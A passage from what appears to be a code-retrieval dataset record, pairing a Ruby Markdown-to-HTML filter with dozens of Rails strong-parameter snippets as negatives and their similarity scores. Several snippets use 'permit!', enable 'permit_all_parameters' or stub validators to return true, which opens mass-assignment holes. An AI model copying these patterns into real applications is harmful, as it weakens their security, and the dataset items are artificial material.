param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981273", "0.6783789", "0.67460483", "0.6742222", "0.67354137", "0.65934366", "0.65028495", "0.6497783", "0.64826745", "0.6479415", "0.6456823", "0.6440081", "0.63800216", "0.6376521", "0.636652", "0.6319898", "0.6300256", "0.62994003", "0.6293621", "0.6292629", "0.6291586", "0.629103", "0.6282451", "0.6243152", "0.62413", "0.6219024", "0.6213724", "0.62103724", "0.61945", "0.61786324", "0.61755824", "0.6173267", "0.6163613", "0.6153058", "0.61521065", "0.6147508", "0.61234015", "0.61168665", "0.6107466", "0.6106177", "0.6091159", "0.60817343", "0.6071238", "0.6062299", "0.6021663", "0.60182893", "0.6014239", "0.6011563", "0.60080767", "0.60080767", "0.60028875", "0.60005623", "0.59964156", "0.5993086", "0.5992319", "0.5992299", "0.59801805", "0.59676576", "0.59606016", "0.595966", "0.59591126", "0.59589803", "0.5954058", "0.5953234", "0.5944434", "0.5940526", "0.59376484", "0.59376484", "0.5935253", "0.5930846", "0.5926387", "0.59256274", "0.5917907", "0.5910841", "0.590886", "0.59086543", "0.59060425", "0.58981544", "0.5898102", "0.5896809", "0.5895416", "0.58947027", "0.58923644", "0.5887903", "0.58830196", "0.5880581", "0.5873854", "0.58697754", "0.5869004", "0.58669055", "0.5866886", "0.58664906", "0.5864619", "0.58630043", "0.5862495", "0.5861368", "0.5859712", "0.5855544", "0.58551925", "0.5851284", "0.5850602" ]
0.0
-1
Convert Markdown to HTML using the best available implementation and convert into a DocumentFragment.
def call # mode = (context[:gfm] != false) ? :gfm : :markdown # html = GitHub::Markdown.to_html(@text, mode) # html.rstrip! # html options = context[:redcarpet_options] || {} renderer = HtmlWithRouge.new( filter_html: options.fetch(:filter_html, false), hard_wrap: options.fetch(:hard_wrap, true) ) options.reject! { |k, v| [:filter_html, :hard_wrap].include?(k) } markdown = Redcarpet::Markdown.new(renderer, options) html = markdown.render(@text) html.rstrip! html end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convert_markdown\n self.html_content = Raptor::Markdown.render(self.content)\n end", "def convert_markdown\n # self.content_html = Kramdown::Document.new(content).to_html\n self.content_html = markdown(content)\n end", "def to_html_fragment\n to_markdown_slices.map do |tagged_markdown|\n tagged_markdown.to_html\n end.join(\"\\n\\n\")\n end", "def html_markup_markdown(text); end", "def preprocessMarkdownForHTML(markdown)\n output = \"\"\n inInstructions = false\n \n markdown.split(\"\\n\").each do |line|\n # parse an instructions list\n # use a dummy HTML tag so our final regex doesn't get stuck in an infinite loop replacing itself\n instructionsMatch = line.match(/^>>\\s*(.*?)$/)\n if instructionsMatch\n if not inInstructions\n output += \"<instructions>\\n\"\n end\n output += instructionsMatch[1] + \"\\n\"\n inInstructions = true\n next # don't try to parse anything else\n elsif inInstructions\n output += \"</instructions>\\n\"\n inInstructions = false\n end\n\n # parse headers and page IDs\n headerMatch = line.match(/^(#+)\\s+(.*?)\\s+@@(.*?)$/)\n if headerMatch\n headerLevel = headerMatch[1].length.to_s\n headerTitle = headerMatch[2]\n headerID = headerMatch[3]\n node = nodeWithID(headerID, $doc.toc.rootNode)\n if not node\n puts \"ERROR: Couldn't find node with ID #{headerID}\"\n exit 1\n end\n output += \"<h#{headerLevel}><a name=\\\"#{headerID}\\\">#{node.levelPrefix} #{headerTitle}</a></h#{headerLevel}>\\n\"\n next\n end\n \n # parse links to page IDs and replace with links to the real .htm file\n while 1\n linkMatch = line.match(/\\[.*?\\]\\((@@(.*?))\\)/)\n if linkMatch\n linkID = linkMatch[2]\n linkValue = linkToPageIDFrom(linkID, \"_PAGE_\") # use dummy value\n if not linkValue\n puts \"ERROR: Invalid link ID \\\"#{linkID}\\\"\"\n exit 1\n end\n line[linkMatch[1]] = linkValue\n else\n break\n end\n end\n \n # parse image and label combo\n imgLabelMatch = line.match(/!!\\[(.*?)\\]\\((.*?)\\)/)\n if imgLabelMatch\n label = imgLabelMatch[1]\n imgPath = imgLabelMatch[2]\n \n # read the image and width height to force the size on images for better loading\n # when viewing the files in the boot DVD. there are some issues where anchor jump\n # links don't always jump to the right place on the boot DVD and apparently forcing\n # the image sizes allows the pages to jump properly.\n \t\timgWidth = 0\n \t\timgHeight = 1\n \t\tbegin\n \t\t data = nil\n \t\t if (imgPath =~ /.png$/)\n \t\t data = IO.read($pagesDir + \"/\" + imgPath, 8, 16).unpack('NN')\n\t\t else\n\t\t puts \"ERROR: Unsupported image type: #{imgPath}\"\n\t\t exit 1\n\t end\n \t\t if (data)\n \t\t imgWidth = data[0]\n \t\t imgHeight = data[1]\n\t\t end\n\t\t rescue\n\t end\n imgWidthHeightAttrs = \"\"\n if imgWidth != 0 and imgHeight != 0\n imgWidthHeightAttrs = \" width=\\\"#{imgWidth}\\\" height=\\\"#{imgHeight}\\\"\"\n end\n\n output += \"<p class=\\\"imageAndLabel\\\"><img src=\\\"#{imgPath}\\\" alt=\\\"\" + CGI::escapeHTML(label) + \"\\\"#{imgWidthHeightAttrs}/><br/><em>\" + CGI::escapeHTML(label) + \"</em></p>\\n\"\n next\n end\n \n # parse warning paragraphs\n warningMatch = line.match(/^!!\\s+(.*?)$/)\n if warningMatch\n output += \"<warning>\\n\" + warningMatch[1] + \"\\n<\\/warning>\\n\"\n next\n end\n \n output += line + \"\\n\"\n end\n \n # close off an open instructions div\n if inInstructions\n output += \"</instructions>\\n\"\n end\n \n # Markdown doesn't allow processing of markup within block-level tags such as <div>, so we have to manually process the markup.\n # We call preprocessMarkdownForHTML() to properly process our custom markup within these custom block elements.\n # An extra newline is added to force a paragraph\n while 1\n instructionsMatch = output.match(/(<instructions>)(.*?)(<\\/instructions>)/m)\n if instructionsMatch\n output[instructionsMatch[1]] = \"<div class=\\\"instructions\\\">\"\n output[instructionsMatch[2]] = markdownToHTML(preprocessMarkdownForHTML(\"\\n\"+instructionsMatch[2]))\n output[instructionsMatch[3]] = \"</div>\"\n else\n break\n end\n end\n \n while 1\n warningMatch = output.match(/(<warning>)\\s*(.*?)(<\\/warning>)/m)\n if warningMatch\n output[warningMatch[1]] = \"<div class=\\\"warning\\\"><div class=\\\"warningBody\\\"><div class=\\\"warningImg\\\"></div><div class=\\\"warningContent\\\">\"\n output[warningMatch[2]] = markdownToHTML(preprocessMarkdownForHTML(\"\\n\"+warningMatch[2]))\n output[warningMatch[3]] = \"</div></div></div>\"\n else\n break\n end\n end\n \n return output\nend", "def to_markdown(html, _options = {})\n cleaned = html.scrub\n cleaned = pre_sanitize(cleaned)\n cleaned = Sanitize.fragment(cleaned, HTML_SANITIZATION_CONFIG)\n Kramdown::Document.new(cleaned, input: :html).to_kramdown.strip\n rescue\n 'The description could not be imported, the most likely cause of this is that it contained illegal HTML markup'\n end", "def to_html\n @markdown_class.new(@markdown).to_html\n end", "def to_html\n determine_markdown_renderer\n @markdown.to_html\n end", "def markdownToHTML(markdown)\n output = \"\"\n IO.popen($mmdPath, \"w+\") do |f|\n f.print markdown\n f.close_write\n output = f.gets(nil)\n end\n return output\nend", "def to_html(content)\n case @parser\n when :kramdown, 'kramdown'\n require 'kramdown'\n Kramdown::Document.new(content).to_html\n when :redcarpet, 'redcarpet'\n require 'redcarpet'\n markdown = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n smart: true,\n no_intra_emphasis: true,\n fenced_code_blocks: true,\n autolink: true,\n tables: true,\n with_toc_data: true\n )\n\n # add smartypants support\n Redcarpet::Render::SmartyPants.render markdown.render(content)\n when :rdiscount, 'rdiscount'\n require 'rdiscount'\n RDiscount.new(content).to_html\n when :gfm, :github, :github_markdown, 'gfm', 'github_markdown'\n require 'github/markdown'\n GitHub::Markdown.render(content)\n end\n end", "def html_to_markdown(content,user)\n filenumber = user.id\n filename = filenumber.to_s+\".html\"\n %x[\"touch #{filename}\"]\n File.atomic_write(\"tmp/#{filename}\") do |file|\n file.write(content)\n end\n html_content = `pandoc -f html -t markdown \"tmp/#{filename}\"`\n File.delete(\"tmp/#{filename}\")\n return html_content\n end", "def html\n Markdown.render(self.content)\n end", "def html\n Markdown.render(self.content)\n end", "def markdown( text )\n Kramdown::Document.new( text ).to_html\n end", "def markdown(doc)\n doc = Nokogiri::HTML(doc)\n if doc.at(\"body\").nil?\n doc = \"\"\n else\n doc = ReverseMarkdown.convert(doc.at(\"body\").inner_html)\n end\n end", "def body_as_html\n markdown = MarkdownPresenter.new(body)\n markdown.convert_to_html\n end", "def process_markdown\n self.data = self.class.convert_markdown(self.data)\n sanitize_html\n end", "def to_html(md)\n Kramdown::Document\n .new(md, {input: \"GFM\"})\n .to_html\n end", "def rst_to_md(rst)\n return PandocRuby.convert(rst, :from => :rst, :to => :markdown)\nend", "def md_to_html\n options = {\n filter_html: true,\n link_attributes: {\n rel: \"nofollow\",\n target: \"_blank\"\n }\n }\n\n extensions = {\n space_after_headers: true,\n autolink: true\n }\n\n renderer = Redcarpet::Render::HTML.new(options)\n markdown = Redcarpet::Markdown.new(renderer, extensions)\n\n self.description = markdown.render(self.description_md)\n end", "def to_markdown\n files = Dir.glob('**/*.html')\n files.each do |f|\n new_f = f.gsub 'html', 'markdown'\n system \"mv #{f} #{new_f}\" if File.file? f\n end\n end", "def contents()\n html = Nokogiri::HTML(@markdown_document.to_html())\n\n # Fixup refs to other markdown documents\n html.css(\"a\").each do |anchor|\n anchor[\"href\"] = anchor[\"href\"].sub(%r{\\.md$}, \".html\")\n end\n\n # Since we transform device-specific $device/README.md pages into\n # discrete $device.html, we need to fixup cross-linking into its namespace\n # This could be generalized some more, to be fixed once we have other internal links to mismatched README.md/index.html locations.\n if File.dirname(relative_output) == \"devices\"\n html.css(\"a\").each do |anchor|\n if anchor[\"href\"].match(%r{\\.\\./[^\\.]+$})\n anchor[\"href\"] = anchor[\"href\"].sub(%r{\\.\\./}, \"devices/\") + \".html\"\n end\n end\n end\n\n # Since Nokogiri produces a complete document from our fragment, we\n # have to pick only what's in the body; so strip the body added tags and higher-up tags.\n html\n .at_css(\"body\").to_s()\n .sub(%r{^<body>}, \"\").sub(%r{</body>$}, \"\")\n end", "def to_md\n # Usually ruby is extremely readable, but I think \"-1\" means \"give me all the \n # trailing blank lines\" is surprisingly opaque. That's what the -1 does...\n lines = @text.split(\"\\n\", -1)\n lines.collect do |line|\n result = line\n \n # Leave lines that start with 4 spaces alone. These are code blocks and\n # should pass through unchanged.\n unless result =~ /^\\s{4,}/\n \n # Convert headers\n result.sub!(/^(=){1,6}/) { |s| \"#\" * s.length} unless result =~ /^={7,}/\n \n # Convert strong to have two stars\n # The matching pair of stars should start with a single star that is either at\n # the beginning of the line or not following a backslash, have at least one\n # non-star and non-backslash in between, then end in one star\n result.gsub!(/(\\A|[^\\\\\\*])\\*([^\\*]*[^\\*\\\\])\\*/, '\\1**\\2**')\n\n # Convert inline code spans to use backticks\n result.gsub!(/(\\A|[^\\\\])\\+([^\\+]+)\\+/, '\\1`\\2`')\n\n # Convert bare http:, mailto: and ftp: links\n result.gsub!(/(\\A|\\s)(http:|https:|mailto:|ftp:)(\\S*)/, '\\1[\\2\\3](\\2\\3)')\n\n # Convert bare www to an http: link\n result.gsub!(/(\\A|\\s)www\\.(\\S*)/, '\\1[www.\\2](http://www.\\2)')\n\n # Convert link: links to refer to local files\n result.gsub!(/(\\A|\\s)link:(\\S*)/, '\\1[\\2](\\2)')\n\n # Convert multi word labels surrounded by {} with a url\n result.gsub!(/\\{([^\\}]*)\\}\\[(\\S*)\\]/, '[\\1](\\2)')\n\n # Convert one word labels with a url\n result.gsub!(/(\\A|\\s)([^\\{\\s]\\S*)\\[(\\S*)\\]/, '\\1[\\2](\\3)')\n\n end\n \n result\n end.join(\"\\n\")\n end", "def markdown(text)\n raw sanitize Markdown.new(text).to_html\n end", "def parse_markdown\n self.body_html = markdown.render(body_markdown.to_s)\n self.summary_html = markdown.render(summary_markdown.to_s)\n end", "def html_to_markdown\n html_decoded = ConverterMachine.html_markdown(self)\n\n # Update the work.\n unless self.update_attributes!(file_content_md: html_decoded)\n errors.add(\"There was an error updating MD for work id: #{self.id}\")\n end\n end", "def process_markdown_inside_elements(doc)\n # parse block-level markdown elements in these HTML tags\n block_tags = ['div']\n\n elts = []\n @fragment.each_element('//*[@markdown]') do |e|\n elts << e\n end\n\n d = @fragment.children.first\n if d && HTML_INLINE_ELEMS.include?(first_node_name)\n elts << d unless d.attributes['markdown']\n elts += span_descendents(d)\n end\n\n # find span elements or elements with 'markdown' attribute\n elts.each do |e|\n # should we parse block-level or span-level?\n how = e.attributes['markdown']\n e.attributes.delete('markdown')\n\n next if \"0\" == how # user requests no markdown parsing inside\n parse_blocks = (how == 'block') || block_tags.include?(e.name)\n\n # Select all text children of e\n e.texts.each do |original_text|\n s = CGI.escapeHTML(original_text.value)\n unless s.strip.empty?\n # TODO extract common functionality\n parsed = parse_blocks ? doc.parse_text_as_markdown(s) : doc.parse_span(s)\n # restore leading and trailing spaces\n padding = /\\A(\\s*).*?(\\s*)\\z/.match(s)\n parsed = [padding[1]] + parsed + [padding[2]] if padding\n\n el = doc.md_el(:dummy, parsed)\n\n new_html = \"<dummy>\"\n el.children_to_html.each do |x|\n new_html << x.to_s\n end\n new_html << \"</dummy>\"\n\n newdoc = REXML::Document.new(new_html).root\n\n p = original_text.parent\n newdoc.children.each do |c|\n p.insert_before(original_text, c)\n end\n\n p.delete(original_text)\n end\n end\n end\n end", "def md2html\n\t\tbook.toc.each do |source|\n\t\t\ttarget = 'build/raw_html/' + source.ext('html')\n\t\t\tcreate \"source/#{source}\" => target do\n\t\t\t\tinfo \"converting #{source} => #{target}\"\n\t\t\t\tm = Maruku.new IO.read(\"source/#{source}\")\n\t\t\t\tFile.open(target, 'w') do |f|\n\t\t\t\t\tif block_given?\n\t\t\t\t\t\thtml = m.to_filtered_html do |doc|\n\t\t\t\t\t\t\tyield doc\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\thtml = m.to_html\n\t\t\t\t\tend\n\t\t\t\t\tf.write html\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def render_md page, content\n markdown(content || self.body) # HACK\n end", "def render_md page, content\n markdown(content || self.body) # HACK\n end", "def render_markdown\n return @render if @render\n @render = Markdown.new(:content => content, :indent => self.indent, :path => self.commit ? \"/commits/#{self.commit.id}#{self.web_path}\" : self.web_path)\n @render\n end", "def substitute_markdown_inside_raw_html\n each_element(:raw_html) do |e|\n html = e.parsed_html\n next unless html\n\n html.process_markdown_inside_elements(self)\n end\n end", "def process_markdown\n self.explanation_html = Kramdown::Document.new(explanation_md || '').to_html.gsub(/[\\r\\n]+/, '')\n end", "def process_markdown_inside_elements(doc)\n # find span elements or elements with 'markdown' attribute\n elts = @fragment.css(\"[markdown]\")\n\n d = @fragment.children.first\n if d && HTML_INLINE_ELEMS.include?(d.name)\n elts << d unless d.attribute('markdown')\n elts += span_descendents(d)\n end\n\n elts.each do |e|\n how = e['markdown']\n e.remove_attribute('markdown')\n\n next if \"0\" == how # user requests no markdown parsing inside\n parse_blocks = (how == 'block') || BLOCK_TAGS.include?(e.name)\n\n # Select all text children of e\n e.xpath(\"./text()\").each do |original_text|\n s = CGI.escapeHTML(original_text.text)\n unless s.strip.empty?\n parsed = parse_blocks ? doc.parse_text_as_markdown(s) : doc.parse_span(s)\n\n # restore leading and trailing spaces\n padding = /\\A(\\s*).*?(\\s*)\\z/.match(s)\n parsed = [padding[1]] + parsed + [padding[2]] if padding\n\n el = doc.md_el(:dummy, parsed)\n\n # Nokogiri collapses consecutive Text nodes, so replace it by a dummy element\n guard = Nokogiri::XML::Element.new('guard', @fragment)\n original_text.replace(guard)\n el.children_to_html.each do |x|\n guard.before(x.to_s)\n end\n guard.remove\n end\n end\n end\n end", "def call\n markdown = markdown_renderer.result(schema: schema)\n if @html\n html = markdown_parser.render(markdown)\n html = html_renderer.result(body: html)\n html.gsub(/id=\"(.+)\"/) {|text| text.tr(\"/:\", \"\") }\n else\n markdown\n end\n rescue Jdoc::Link::ExampleNotFound => exception\n abort(\"Error: #{exception.to_s}\")\n end", "def markdown(source)\n Open3.popen2('pandoc', '-s', '-f', 'markdown', '-t', 'html') do |stdin, stdout, wait_thr|\n stdin.puts(source)\n stdin.close\n stdout.read\n end\nrescue => e\n STDERR.puts e\n nil\nend", "def markdown content\n require \"kramdown\"\n\n content = content.\n gsub(/^``` *(\\w+)/) { \"{:lang=\\\"#$1\\\"}\\n~~~\" }.\n gsub(/^```/, '~~~')\n\n Kramdown::Document.new(content, KRAMDOWN_CONFIG).to_html\n end", "def markdown content\n require \"kramdown\"\n\n content = content.\n gsub(/^``` *(\\w+)/) { \"{:lang=\\\"#$1\\\"}\\n~~~\" }.\n gsub(/^```/, '~~~')\n\n Kramdown::Document.new(content, KRAMDOWN_CONFIG).to_html\n end", "def markdown(text)\n Markdown.new(text, :hard_wrap, :autolink).to_html.html_safe\n end", "def parse_markdown\n self.bio_html = markdown.render(bio_markdown)\n end", "def markdown_output_html\n \n if self.markdown_output\n self.markdown_output\n else\n self.markdown_output = MARKDOWN_RENDERER.render(self.output)\n end\n end", "def markdown_to_html(src)\n render_options = {\n prettify: true,\n }\n renderer = MdRenderer.new(render_options)\n extensions = {\n no_intra_emphasis: true,\n autolink: true,\n tables: true,\n fenced_code_blocks: true,\n strikethrough: true,\n underline: true,\n quote: true,\n footnotes: true,\n }\n md = ::Redcarpet::Markdown.new(renderer, extensions)\n html = md.render(src)\n return html\n end", "def markdown_to_html(src)\n render_options = {\n prettify: true,\n }\n renderer = MarkdownRenderer.new(render_options)\n extensions = {\n no_intra_emphasis: true,\n autolink: true,\n tables: true,\n fenced_code_blocks: true,\n strikethrough: true,\n underline: true,\n quote: true,\n footnotes: true,\n }\n md = ::Redcarpet::Markdown.new(renderer, extensions)\n html = md.render(src)\n return html\n end", "def markdownify(input); end", "def markdown_to_html\n html = RDiscount.new(File.read file).to_html\n html = syntax_highlight(html) if config.highlighter\n html = prepend_h1(html) if config.autoh1\n html\n end", "def md(text)\n renderer = Redcarpet::Render::HTML.new\n extensions = {filter_html: true}\n redcarpet = Redcarpet::Markdown.new(renderer, extensions)\n redcarpet.render(text).html_safe\n end", "def convertHtml(content, outstream=nil)\n return call_api_urlencoded('/api/pdf/convert/html/', content, outstream)\n end", "def block_html(html)\n html.gsub(/<markdown>([\\d\\D]+?)<\\/markdown>/) {|_|\n extensions = {fenced_code_blocks: true}\n renderer = Redcarpet::Markdown.new(WithHighlights, extensions)\n renderer.render(Regexp.last_match[1])\n }\n end", "def content\n MarkdownService.new.render(body).html_safe \n end", "def markdown(text)\n sanitize BlueCloth::new(text).to_html\n end", "def to_html text\n html = (''.encode text.encoding).dup\n\n encoded = RDoc::Text::TO_HTML_CHARACTERS[text.encoding]\n\n s = StringScanner.new text\n insquotes = false\n indquotes = false\n after_word = nil\n\n until s.eos? do\n case\n when s.scan(/<(tt|code)>.*?<\\/\\1>/) then # skip contents of tt\n html << s.matched.gsub('\\\\\\\\', '\\\\')\n when s.scan(/<(tt|code)>.*?/) then\n warn \"mismatched <#{s[1]}> tag\" # TODO signal file/line\n html << s.matched\n when s.scan(/<[^>]+\\/?s*>/) then # skip HTML tags\n html << s.matched\n when s.scan(/\\\\(\\S)/) then # unhandled suppressed crossref\n html << s[1]\n after_word = nil\n when s.scan(/\\.\\.\\.(\\.?)/) then\n html << s[1] << encoded[:ellipsis]\n after_word = nil\n when s.scan(/\\(c\\)/i) then\n html << encoded[:copyright]\n after_word = nil\n when s.scan(/\\(r\\)/i) then\n html << encoded[:trademark]\n after_word = nil\n when s.scan(/---/) then\n html << 